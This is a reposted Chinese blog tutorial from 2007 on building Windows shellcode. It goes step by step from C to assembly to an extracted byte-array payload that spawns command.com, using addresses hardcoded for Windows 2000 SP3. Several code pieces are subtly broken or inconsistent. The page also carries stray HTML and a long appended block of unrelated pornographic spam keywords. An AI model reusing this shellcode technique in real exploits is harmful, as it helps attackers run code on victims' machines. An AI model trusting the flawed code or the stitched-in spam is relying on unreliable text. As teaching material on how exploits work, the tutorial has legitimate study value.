• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            隨筆 - 74, 文章 - 0, 評論 - 26, 引用 - 0
            數據加載中……

            (轉)打造Windows下自己的ShellCode

            為了幫助初學者了解ShellCode的編寫,并能一步一步操作得到自己的ShellCode,因此將Windows下ShellCode的編寫過程作詳細的介紹,以利于像我一樣的菜鳥,最終能夠寫出簡單的但卻是真實的ShellCode;而進一步高級的ShellCode的編寫,也會在系列后面的文章中一步一步的演示的,希望大家會發現,Exp真好,ShellCode最美妙!
            ShellCode簡介和編寫步驟
            從以前的文章和別人的攻擊代碼中可以知道,ShellCode是以“\xFF\x3A\x45\x72……”的形式出現在程序中的,而Exploit的構造就是想方設法地使計算機能轉到我們的ShellCode上來,去執行“\xFF\x3A\x45\x72……”――由此看出,ShellCode才是Exploit攻擊的真正主宰(就如同獨行者是我們文章的主宰一樣)。而ShellCode的“\xFF\x3A\x45\x72……”那些值,其實是機器碼的形式,和一般程序在內存里面存的東東是沒什么兩樣的,攻擊程序把內存里面的數據動態改成ShellCode的值,再跳過去執行,就如同執行一個在內存中的一般程序一樣,只不過完成的是我們的功能,溢出攻擊就這樣實現了。
            在此可以下個定義:ShellCode就是一段程序的機器碼形式,而ShellCode的編寫過程,就是得到我們想要程序的機器碼的過程。
            當然ShellCode的特殊性和Windows下函數調用的特點,決定了和一般的匯編程序有所不同。所以其編寫步驟應該是,
            1.構想ShellCode的功能;
            2.用C語言驗證實現;
            3.根據C語言實現,改成帶有ShellCode特點的匯編;
            4.最后得到機器碼形式的ShellCode。
            其中最重要的是第三步――改成有ShellCode特點的匯編,將在本文的后面講到。
            首先第一步是構想ShellCode的功能。我們想要的功能可能是植入木馬,殺掉防火墻,倒流時光,發電磁波找外星人等等(WTF:咳……),但最基本的功能,還是希望開一個DOS窗口,那我們可以在DOS窗口中做很多事情,所以先介紹開DOS窗口ShellCode的寫法吧。
            C語言代碼
            比如下面這個程序就可以完成開DOS窗口的功能,大家詳細看下注釋:
            #include
            #include
            typedef void (*MYPROC)(LPTSTR); //定義函數指針
            int main()
            {
            HINSTANCE LibHandle;
            MYPROC ProcAdd;
            LibHandle = LoadLibrary(“msvcrt.dll”);
            ProcAdd = (MYPROC) GetProcAddress(LibHandle, "System"); //查找System函數地址
            (ProcAdd) ("command.com"); //其實就是執行System(“command.com”)
            return 0;
            }
            其實執行System(“command.com”)也可以完成開DOS窗口的功能,寫成這么復雜是有原因的,解釋一下該程序:首先Typedef void (*MYPROC)(LPTSTR)是定義一個函數指針類型,該類型的函數參數為是字符串,返回值為空。接著定義MYPROC ProcAdd,使ProcAdd為指向參數為是字符串,返回值為空的函數指針;使用LoadLibrary(“msvcrt.dll”);裝載動態鏈接庫msvcrt.dll;再使用ProcAdd = (MYPROC) GetProcAddress(LibHandle, System)獲得 System的真實地址并賦給ProcAdd,之后ProcAdd里存的就是System函數的地址,以后使用這個地址來調用System函數;最后(ProcAdd) ("command.com")就是調用System("command.com"),可以獲得一個DOS窗口。在窗口中我們可以執行Dir,Copy等命令。如下圖1所示。




            圖1
            獲得函數的地址
            程序中用GetProcAddress函數獲得System的真實地址,但地址究竟是多少,如何查看呢?
            在VC中,我們按F10進入調試狀態,然后在Debug工具欄中點最后一個按鈕Disassemble和第四個按鈕Registers,這樣出現了源程序的匯編代碼和寄存器狀態窗口,如圖2所示




            圖2
            繼續按F10執行,直到到ProcAdd = (MYPROC) GetProcAddress(LibHandle, "System")語句下的Cll dword ptr [__imp__GetProcAddress@8 (00424194)]執行后,EAX變為7801AFC3,說明在我的機器上System( )函數的地址是0x7801AFC3。如圖3所示。




            圖3
            WTF:注意本次測試中讀者的機器是Windows 2000 SP3,不同環境可能地址不同。
            為什么EAX就是System( )函數的地址呢?那是因為函數執行的返回值,在匯編下通常是放在EAX中的,這算是計算機系統的約定吧,所以GetProcAddress(”System”)的返回值(System函數的地址),就在EAX中,為0x7801AFC3。
            Windows下函數的調用原理
            為什么要這么麻煩的得到System函數的地址呢?這是因為在Windows下,函數的調用方法是先將參數從右到左壓入堆棧,然后Call該函數的地址。比如執行函數Fun(argv1, argv2),先把參數從右到左壓入堆棧,這里就是依次把argv2,argv1壓入堆棧里,然后Call Fun函數的地址。這里的Call Fun函數地址,其實等于兩步,一是把保存當前EIP,二是跳到Func函數的地址執行,即Push EIP + Jmp Fun。其過程如下圖4所示。




            圖4
            同理,我們要執行System("command.com"):首先參數入棧,這里只有一個參數,所以就把Command.com的地址壓入堆棧,注意是Command.com字符串的地址;然后Call System函數的地址,就完成了執行。如圖5所示。




            圖5
            構造有ShellCode特點的匯編
            明白了Windows函數的執行原理,我們要執行System(“Command.exe”),就要先把Command.exe字符串的地址入棧,但Command.exe字符串在哪兒呢?內存中可能沒有,但我們可以自己構造!
            我們把‘Command.exe’一個字符一個字符的賦給堆棧,這樣‘Command.exe’字符串就有了,而棧頂的指針ESP正好是Command.exe字符串的地址,我們Push esp,就完成了參數――Command.exe字符串的地址入棧。如下圖6所示。




            圖6
            參數入棧了,然后該Call System函數的地址。剛才已經看到,在Windows 2000 SP3上,System函數的地址為0x7801AFC3,所以Call 0x7801AFC3就行了。
            把思路合起來,可以寫出執行System(“Command.exe”)的帶有ShellCode特點的匯編代碼如下。
            mov esp,ebp ;
            push ebp ;
            mov ebp,esp ; 把當前esp賦給ebp
            xor edi,edi ;
            push edi ;壓入0,esp-4,; 作用是構造字符串的結尾\0字符。
            sub esp,08h ;加上上面,一共有12個字節,;用來放"command.com"。
            mov byte ptr [ebp-0ch],63h ; c
            mov byte ptr [ebp-0bh],6fh ; o
            mov byte ptr [ebp-0ah],6dh ; m
            mov byte ptr [ebp-09h],6Dh ; m
            mov byte ptr [ebp-08h],61h ; a
            mov byte ptr [ebp-07h],6eh ; n
            mov byte ptr [ebp-06h],64h ; d
            mov byte ptr [ebp-05h],2Eh ; .
            mov byte ptr [ebp-04h],63h ; c
            mov byte ptr [ebp-03h],6fh ; o
            mov byte ptr [ebp-02h],6dh ; m一個一個生成串"command.com".
            lea eax,[ebp-0ch] ;
            push eax ; command.com串地址作為參數入棧
            mov eax, 0x7801AFC3 ;
            call eax ; call System函數的地址
            明白了原理再看實現,是不是清楚了很多呢?
            提取ShellCode
            首先來驗證一下,在VC中可以用__asm關鍵字插入匯編,我們把System(“Command.exe”)用我們寫的匯編替換,LoadLibrary先不動,然后執行,成功!彈出了我們想要的DOS窗口。如下圖7所示。




            圖7
            同樣的道理,LoadLibrary(“msvcrt.dll”)也仿照上面改成匯編,注意LoadLibrary在Windows 2000 SP3上的地址為0x77e69f64。把兩段匯編合起來,將其編譯、鏈接、執行,也成功了!如下圖8所示。




            圖8
            有了上面的工作,提取ShellCode就只剩下體力活了。我們對剛才的全匯編的程序,按F10進入調試,接著按下Debug工具欄的Disassembly按鈕,點右鍵,在彈出菜單中選中Code Bytes,就出現匯編對應的機器碼。因為匯編可以完全完成我們的功能,所以我們把匯編對應的機器碼原封不動抄下來,就得到我們想要的ShellCode了。提取出來的ShellCode如下。
            unsigned char shellcode[] =
            "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
            "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
            "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
            "\x64\x9f\xE6\x77" //sp3 loadlibrary地址0x77e69f64
            "\x52\x8D\x45\xF4\x50"
            "\xFF\x55\xF0"
            "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
            "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
            "\x50\xB8"
            "\xc3\xaf\x01\x78" //sp3 System地址0x7801afc3
            "\xFF\xD0";
            驗證ShellCode
            最后要驗證提取出來的ShellCode能否完成我們的功能。在以前的文章中已經說過方法,只需要新建一個工程和c源文件,然后把ShellCode部分拷下來,存為一個數組,最后在main中添上( (void(*)(void)) &shellcode )(),如下:
            unsigned char shellcode[] =
            "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
            "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
            "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
            "\x64\x9f\xE6\x77" //sp3 loadlibrary地址0x77e69f64
            "\x52\x8D\x45\xF4\x50"
            "\xFF\x55\xF0"
            "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
            "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
            "\x50\xB8"
            "\xc3\xaf\x01\x78" //sp3 System地址0x7801afc3
            "\xFF\xD0";
            int main()
            {
            ( (void(*)(void)) &shellcode )()
            return 0;
            }
            ( (void(*)(void)) &shellcode )()這句話是關鍵,它把ShellCode轉換成一個參數為空,返回為空的函數指針,并調用它。執行那句就相當于執行ShellCode數組里的那些數據。如果ShellCode正確,就會完成我們想要的功能,出現一個DOS窗口。我們親自編寫的第一個ShellCode成功完成!

            小結
            這個ShellCode的功能還比較單薄,而且通用性也待進一步研究,但的確是一個由我們親自打造出來的ShellCode,而且現實中的ShellCode也是這樣寫出來的。只要我們掌握了基本的方法,以后就可以在廣闊的空間中自由翱翔!

            posted on 2007-08-20 17:17 井泉 閱讀(1336) 評論(0)  編輯 收藏 引用 所屬分類: c code

            性欧美丰满熟妇XXXX性久久久| 久久精品国产福利国产琪琪| 欧美亚洲国产精品久久| 午夜精品久久久久久影视riav| 午夜精品久久久久久影视777| 免费精品久久天干天干| 欧美一区二区三区久久综| 777米奇久久最新地址| 人人狠狠综合88综合久久| 久久久精品国产sm调教网站| 久久综合久久久| 日韩乱码人妻无码中文字幕久久| 韩国无遮挡三级久久| 亚洲伊人久久大香线蕉综合图片| 99久久国产综合精品网成人影院| 欧美日韩精品久久久免费观看| 国产精品美女久久久m| 少妇无套内谢久久久久| 精品久久久久久99人妻| 久久久综合九色合综国产| 中文字幕乱码久久午夜| 久久精品这里只有精99品| 国产精品久久久久久久| 久久99精品国产自在现线小黄鸭| 午夜视频久久久久一区 | 99精品久久久久久久婷婷| 国产2021久久精品| 久久电影网一区| 久久香蕉超碰97国产精品| 久久精品aⅴ无码中文字字幕不卡| 狠狠精品干练久久久无码中文字幕| 久久精品九九亚洲精品| 伊人久久大香线焦AV综合影院| 久久婷婷五月综合色99啪ak| 很黄很污的网站久久mimi色| 国产欧美久久一区二区| 久久精品国产久精国产| 久久综合狠狠色综合伊人| 91超碰碰碰碰久久久久久综合| 久久亚洲国产午夜精品理论片| 99久久婷婷国产综合亚洲|